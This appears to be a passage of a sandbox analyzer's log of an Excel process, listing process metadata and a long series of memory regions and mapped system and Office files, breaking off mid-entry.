# Flog Txt Version 1 # Analyzer Version: 2.2.1 # Analyzer Build Date: May 28 2018 14:14:40 # Log Creation Date: 06.06.2018 09:51:05.043 Process: id = "1" image_name = "excel.exe" filename = "c:\\program files\\microsoft office\\office16\\excel.exe" page_root = "0x222a6000" os_pid = "0x82c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE\"" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 134 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 135 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 136 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 137 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 138 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 139 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 140 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 141 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 142 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 143 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 144 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 145 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 146 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 147 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 148 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 149 start_va = 0x160000 end_va = 0x166fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 150 start_va = 0x170000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 151 start_va = 0x180000 end_va = 0x181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 152 start_va = 0x190000 end_va = 0x191fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 153 start_va = 0x1a0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 154 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 155 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 156 start_va = 0x1d0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 157 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 158 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 159 start_va = 0x2f0000 end_va = 0x3cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 160 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 161 start_va = 0x4d0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 162 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 163 start_va = 0x760000 end_va = 0x8e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 164 start_va = 0x8f0000 end_va = 0x1ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 165 start_va = 0x1cf0000 end_va = 0x1d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 166 start_va = 0x1d30000 end_va = 0x1d34fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 167 start_va = 0x1d40000 end_va = 0x1d40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d40000" filename = "" Region: id = 168 start_va = 0x1d50000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 169 start_va = 0x1e50000 end_va = 0x1ecffff entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 170 start_va = 0x1ed0000 end_va = 0x1ed0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 171 start_va = 0x1ee0000 end_va = 0x1ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 172 start_va = 0x1ef0000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 173 start_va = 0x1ff0000 end_va = 0x1ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 174 start_va = 0x2000000 end_va = 0x2000fff entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 175 start_va = 0x2010000 end_va = 0x2010fff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 176 start_va = 0x2020000 end_va = 0x2020fff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 177 start_va = 0x2030000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 178 start_va = 0x2130000 end_va = 0x2522fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002130000" filename = "" Region: id = 179 start_va = 0x2530000 end_va = 0x27fefff entry_point = 0x2530000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 180 start_va = 0x2800000 end_va = 0x3841fff entry_point = 0x2800000 region_type = mapped_file name = "xlintl32.dll" filename = "\\Program Files\\Microsoft Office\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\xlintl32.dll") Region: id = 181 start_va = 0x3850000 end_va = 0x3850fff entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 182 start_va = 0x3860000 end_va = 0x3861fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003860000" filename = "" Region: id = 183 start_va = 0x3870000 end_va = 0x3871fff entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 184 start_va = 0x3880000 end_va = 0x3881fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003880000" filename = "" Region: id = 185 start_va = 0x3890000 end_va = 0x389ffff entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 186 start_va = 0x38a0000 end_va = 0x38b1fff entry_point = 0x0 region_type = private name = "private_0x00000000038a0000" filename = "" Region: id = 187 start_va = 0x38c0000 end_va = 0x38c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038c0000" filename = "" Region: id = 188 start_va = 0x38d0000 end_va = 0x38d0fff entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 189 start_va = 0x38e0000 end_va = 0x38e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038e0000" filename = "" Region: id = 190 start_va = 0x38f0000 end_va = 0x38f0fff entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 191 start_va = 0x3900000 end_va = 0x3901fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003900000" filename = "" Region: id = 192 start_va = 0x3910000 end_va = 0x3911fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003910000" filename = "" Region: id = 193 start_va = 0x3920000 end_va = 0x3a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 194 start_va = 0x3a20000 end_va = 0x3a31fff entry_point = 0x0 region_type = private name = "private_0x0000000003a20000" filename = "" Region: id = 195 start_va = 0x3a40000 end_va = 0x3a4cfff entry_point = 0x3a40000 region_type = mapped_file name = "comdlg32.dll.mui" filename = "\\Windows\\System32\\en-US\\comdlg32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\comdlg32.dll.mui") Region: id = 196 start_va = 0x3a50000 end_va = 0x3a51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a50000" filename = "" Region: id = 197 start_va = 0x3a60000 end_va = 0x3a7ffff entry_point = 0x3a60000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000010.db" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db") Region: id = 198 start_va = 0x3a80000 end_va = 0x3a80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a80000" filename = "" Region: id = 199 start_va = 0x3a90000 end_va = 0x3b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 200 start_va = 0x3b90000 end_va = 0x3c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 201 start_va = 0x3c90000 end_va = 0x3d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 202 start_va = 0x3d90000 end_va = 0x3da0fff entry_point = 0x3d90000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 203 start_va = 0x3db0000 end_va = 0x3db3fff entry_point = 0x3db0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 204 start_va = 0x3dc0000 end_va = 0x3ebffff entry_point = 0x0 region_type = private name = "private_0x0000000003dc0000" filename = "" Region: id = 205 start_va = 0x3ec0000 end_va = 0x42bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ec0000" filename = "" Region: id = 206 start_va = 0x42c0000 end_va = 0x42c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042c0000" filename = "" Region: id = 207 start_va = 0x42d0000 end_va = 0x434ffff entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 208 start_va = 0x4350000 end_va = 0x4350fff entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 209 start_va = 0x4360000 end_va = 0x4360fff entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 210 start_va = 0x4370000 end_va = 0x446ffff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 211 start_va = 0x4470000 end_va = 0x4c6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004470000" filename = "" Region: id = 212 start_va = 0x4c70000 end_va = 0x4ceefff entry_point = 0x4c70000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 213 start_va = 0x4cf0000 end_va = 0x4cf0fff entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 214 start_va = 0x4d00000 end_va = 0x4d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 215 start_va = 0x4d80000 end_va = 0x4dd0fff entry_point = 0x4d80000 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 216 start_va = 0x4de0000 end_va = 0x4deffff entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 217 start_va = 0x4df0000 end_va = 0x4eeffff entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 218 start_va = 0x4ef0000 end_va = 0x4ef0fff entry_point = 0x0 region_type = private name = "private_0x0000000004ef0000" filename = "" Region: id = 219 start_va = 0x4f00000 end_va = 0x4ffffff entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 220 start_va = 0x5000000 end_va = 0x50fffff entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 221 start_va = 0x5100000 end_va = 0x5100fff entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 222 start_va = 0x5110000 end_va = 0x520ffff entry_point = 0x0 region_type = private name = "private_0x0000000005110000" filename = "" Region: id = 223 start_va = 0x5210000 end_va = 0x540ffff entry_point = 0x0 region_type = private name = "private_0x0000000005210000" filename = "" Region: id = 224 start_va = 0x5410000 end_va = 0x5410fff entry_point = 0x0 region_type = private name = "private_0x0000000005410000" filename = "" Region: id = 225 start_va = 0x5420000 end_va = 0x5422fff entry_point = 0x0 region_type = private name = "private_0x0000000005420000" filename = "" Region: id = 226 start_va = 0x5430000 end_va = 0x5432fff entry_point = 0x0 region_type = private name = "private_0x0000000005430000" filename = "" Region: id = 227 start_va = 0x5440000 end_va = 0x5442fff entry_point = 0x0 region_type = private name = "private_0x0000000005440000" filename = "" Region: id = 228 start_va = 0x5450000 end_va = 0x5452fff entry_point = 0x0 region_type = private name = "private_0x0000000005450000" filename = "" Region: id = 229 start_va = 0x5460000 end_va = 0x546ffff entry_point = 0x0 region_type = private name = "private_0x0000000005460000" filename = "" Region: id = 230 start_va = 0x5470000 end_va = 0x5470fff entry_point = 0x0 region_type = private name = "private_0x0000000005470000" filename = "" Region: id = 231 start_va = 0x5480000 end_va = 0x5480fff entry_point = 0x0 region_type = private name = "private_0x0000000005480000" filename = "" Region: id = 232 start_va = 0x5490000 end_va = 0x54d7fff entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 233 start_va = 0x54e0000 end_va = 0x5527fff entry_point = 0x0 region_type = private name = "private_0x00000000054e0000" filename = "" Region: id = 234 start_va = 0x5530000 end_va = 0x5531fff entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 235 start_va = 0x5540000 end_va = 0x5540fff entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 236 start_va = 0x5550000 end_va = 0x5550fff entry_point = 0x0 region_type = private name = "private_0x0000000005550000" filename = "" Region: id = 237 start_va = 0x5560000 end_va = 0x565ffff entry_point = 0x0 region_type = private name = "private_0x0000000005560000" filename = "" Region: id = 238 start_va = 0x5660000 end_va = 0x5f8ffff entry_point = 0x5660000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 239 start_va = 0x5f90000 end_va = 0x5fbffff entry_point = 0x5f90000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000d.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000d.db") Region: id = 240 start_va = 0x5fc0000 end_va = 0x5fc3fff entry_point = 0x5fc0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 241 start_va = 0x5fd0000 end_va = 0x5fd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005fd0000" filename = "" Region: id = 242 start_va = 0x5fe0000 end_va = 0x5fe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005fe0000" filename = "" Region: id = 243 start_va = 0x5ff0000 end_va = 0x5ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 244 start_va = 0x6000000 end_va = 0x6000fff entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 245 start_va = 0x6010000 end_va = 0x6010fff entry_point = 0x0 region_type = private name = "private_0x0000000006010000" filename = "" Region: id = 246 start_va = 0x6020000 end_va = 0x6020fff entry_point = 0x0 region_type = private name = "private_0x0000000006020000" filename = "" Region: id = 247 start_va = 0x6030000 end_va = 0x612ffff entry_point = 0x0 region_type = private name = "private_0x0000000006030000" filename = "" Region: id = 248 start_va = 0x6130000 end_va = 0x652ffff entry_point = 0x0 region_type = private name = "private_0x0000000006130000" filename = "" Region: id = 249 start_va = 0x6530000 end_va = 0x6530fff entry_point = 0x0 region_type = private name = "private_0x0000000006530000" filename = "" Region: id = 250 start_va = 0x6540000 end_va = 0x6540fff entry_point = 0x0 region_type = private name = "private_0x0000000006540000" filename = "" Region: id = 251 start_va = 0x6550000 end_va = 0x6550fff entry_point = 0x0 region_type = private name = "private_0x0000000006550000" filename = "" Region: id = 252 start_va = 0x6560000 end_va = 0x6560fff entry_point = 0x0 region_type = private name = "private_0x0000000006560000" filename = "" Region: id = 253 start_va = 0x6570000 end_va = 0x666ffff entry_point = 0x0 region_type = private name = "private_0x0000000006570000" filename = "" Region: id = 254 start_va = 0x6670000 end_va = 0x6670fff entry_point = 0x0 region_type = private name = "private_0x0000000006670000" filename = "" Region: id = 255 start_va = 0x6680000 end_va = 0x6680fff entry_point = 0x0 region_type = private name = "private_0x0000000006680000" filename = "" Region: id = 256 start_va = 0x6690000 end_va = 0x669ffff entry_point = 0x0 region_type = private name = "private_0x0000000006690000" filename = "" Region: id = 257 start_va = 0x66a0000 end_va = 0x6e9ffff entry_point = 0x0 region_type = private name = "private_0x00000000066a0000" filename = "" Region: id = 258 start_va = 0x6ea0000 end_va = 0x72a0fff entry_point = 0x0 region_type = private name = "private_0x0000000006ea0000" filename = "" Region: id = 259 start_va = 0x72b0000 end_va = 0x76b0fff entry_point = 0x0 region_type = private name = "private_0x00000000072b0000" filename = "" Region: id = 260 start_va = 0x76c0000 end_va = 0x7ac0fff entry_point = 0x0 region_type = private name = "private_0x00000000076c0000" filename = "" Region: id = 261 start_va = 0x7ad0000 end_va = 0x7ccffff entry_point = 0x0 region_type = private name = "private_0x0000000007ad0000" filename = "" Region: id = 262 start_va = 0x7cd0000 end_va = 0x818ffff entry_point = 0x0 region_type = private name = "private_0x0000000007cd0000" filename = "" Region: id = 263 start_va = 0x8190000 end_va = 0x858ffff entry_point = 0x0 region_type = private name = "private_0x0000000008190000" filename = "" Region: id = 264 start_va = 0x8590000 end_va = 0x8590fff entry_point = 0x0 region_type = private name = "private_0x0000000008590000" filename = "" Region: id = 265 start_va = 0x85a0000 end_va = 0x85a0fff entry_point = 0x0 region_type = private name = "private_0x00000000085a0000" filename = "" Region: id = 266 start_va = 0x85b0000 end_va = 0x86affff entry_point = 0x0 region_type = private name = "private_0x00000000085b0000" filename = "" Region: id = 267 start_va = 0x86b0000 end_va = 0x875afff entry_point = 0x86b0000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 268 start_va = 0x8760000 end_va = 0x8760fff entry_point = 0x0 region_type = private name = "private_0x0000000008760000" filename = "" Region: id = 269 start_va = 0x8770000 end_va = 0x886ffff entry_point = 0x0 region_type = private name = "private_0x0000000008770000" filename = "" Region: id = 270 start_va = 0x8870000 end_va = 0x8a28fff entry_point = 0x8870000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 271 start_va = 0x8a30000 end_va = 0x8b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000008a30000" filename = "" Region: id = 272 start_va = 0x8b30000 end_va = 0x8baffff entry_point = 0x0 region_type = private name = "private_0x0000000008b30000" filename = "" Region: id = 273 start_va = 0x8bb0000 end_va = 0x8bb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bb0000" filename = "" Region: id = 274 start_va = 0x8bc0000 end_va = 0x8bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008bc0000" filename = "" Region: id = 275 start_va = 0x8bd0000 end_va = 0x8bd0fff entry_point = 0x0 region_type = private name = "private_0x0000000008bd0000" filename = "" Region: id = 276 start_va = 0x8be0000 end_va = 0x8beffff entry_point = 0x0 region_type = private name = "private_0x0000000008be0000" filename = "" Region: id = 277 start_va = 0x8bf0000 end_va = 0x8ceffff entry_point = 0x0 region_type = private name = "private_0x0000000008bf0000" filename = "" Region: id = 278 start_va = 0x8cf0000 end_va = 0x8d55fff entry_point = 0x8cf0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 279 start_va = 0x8d60000 end_va = 0x8d60fff entry_point = 0x0 region_type = private name = "private_0x0000000008d60000" filename = "" Region: id = 280 start_va = 0x8d70000 end_va = 0x8d73fff entry_point = 0x8d70000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 281 start_va = 0x8d80000 end_va = 0x8e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000008d80000" filename = "" Region: id = 282 start_va = 0x8e80000 end_va = 0x8e80fff entry_point = 0x8e80000 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 283 start_va = 0x8e90000 end_va = 0x8e93fff entry_point = 0x8e90000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 284 start_va = 0x8ea0000 end_va = 0x8ea0fff entry_point = 0x8ea0000 region_type = mapped_file name = "{b2da3f58-90eb-43b7-bc22-5f50341f16c0}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{B2DA3F58-90EB-43B7-BC22-5F50341F16C0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{b2da3f58-90eb-43b7-bc22-5f50341f16c0}.2.ver0x0000000000000001.db") Region: id = 285 start_va = 0x8eb0000 end_va = 0x8eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000008eb0000" filename = "" Region: id = 286 start_va = 0x8ec0000 end_va = 0x8ec7fff entry_point = 0x0 region_type = private name = "private_0x0000000008ec0000" filename = "" Region: id = 287 start_va = 0x8ed0000 end_va = 0x8ed0fff entry_point = 0x8ed0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 288 start_va = 0x8ee0000 end_va = 0x8ee1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008ee0000" filename = "" Region: id = 289 start_va = 0x8ef0000 end_va = 0x8ef0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008ef0000" filename = "" Region: id = 290 start_va = 0x8f00000 end_va = 0x8f00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008f00000" filename = "" Region: id = 291 start_va = 0x8f20000 end_va = 0x901ffff entry_point = 0x0 region_type = private name = "private_0x0000000008f20000" filename = "" Region: id = 292 start_va = 0x9080000 end_va = 0x917ffff entry_point = 0x0 region_type = private name = "private_0x0000000009080000" filename = "" Region: id = 293 start_va = 0x9190000 end_va = 0x928ffff entry_point = 0x0 region_type = private name = "private_0x0000000009190000" filename = "" Region: id = 294 start_va = 0x92d0000 end_va = 0x934ffff entry_point = 0x0 region_type = private name = "private_0x00000000092d0000" filename = "" Region: id = 295 start_va = 0x93a0000 end_va = 0x949ffff entry_point = 0x0 region_type = private name = "private_0x00000000093a0000" filename = "" Region: id = 296 start_va = 0x9500000 end_va = 0x95fffff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 297 start_va = 0x9600000 end_va = 0x9dfffff entry_point = 0x0 region_type = private name = "private_0x0000000009600000" filename = "" Region: id = 298 start_va = 0x9e00000 end_va = 0xa189fff entry_point = 0x0 region_type = private name = "private_0x0000000009e00000" filename = "" Region: id = 299 start_va = 0xa1f0000 end_va = 0xa26ffff entry_point = 0x0 region_type = private name = "private_0x000000000a1f0000" filename = "" Region: id = 300 start_va = 0xa2a0000 end_va = 0xa31ffff entry_point = 0x0 region_type = private name = "private_0x000000000a2a0000" filename = "" Region: id = 301 start_va = 0xa420000 end_va = 0xa51ffff entry_point = 0x0 region_type = private name = "private_0x000000000a420000" filename = "" Region: id = 302 start_va = 0xa610000 end_va = 0xa70ffff entry_point = 0x0 region_type = private name = "private_0x000000000a610000" filename = "" Region: id = 303 start_va = 0xa740000 end_va = 0xa83ffff entry_point = 0x0 region_type = private name = "private_0x000000000a740000" filename = "" Region: id = 304 start_va = 0xa840000 end_va = 0xa93ffff entry_point = 0x0 region_type = private name = "private_0x000000000a840000" filename = "" Region: id = 305 start_va = 0xa9d0000 end_va = 0xaacffff entry_point = 0x0 region_type = private name = "private_0x000000000a9d0000" filename = "" Region: id = 306 start_va = 0xadd0000 end_va = 0xafcffff entry_point = 0x0 region_type = private name = "private_0x000000000add0000" filename = "" Region: id = 307 start_va = 0x371e0000 end_va = 0x371effff entry_point = 0x0 region_type = private name = "private_0x00000000371e0000" filename = "" Region: id = 308 start_va = 0x74cb0000 end_va = 0x74ce2fff entry_point = 0x74cb0000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 309 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 310 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x772d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 311 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 312 start_va = 0x775b0000 end_va = 0x775b2fff entry_point = 0x775b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 313 start_va = 0x775c0000 end_va = 0x775c6fff entry_point = 0x775c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 314 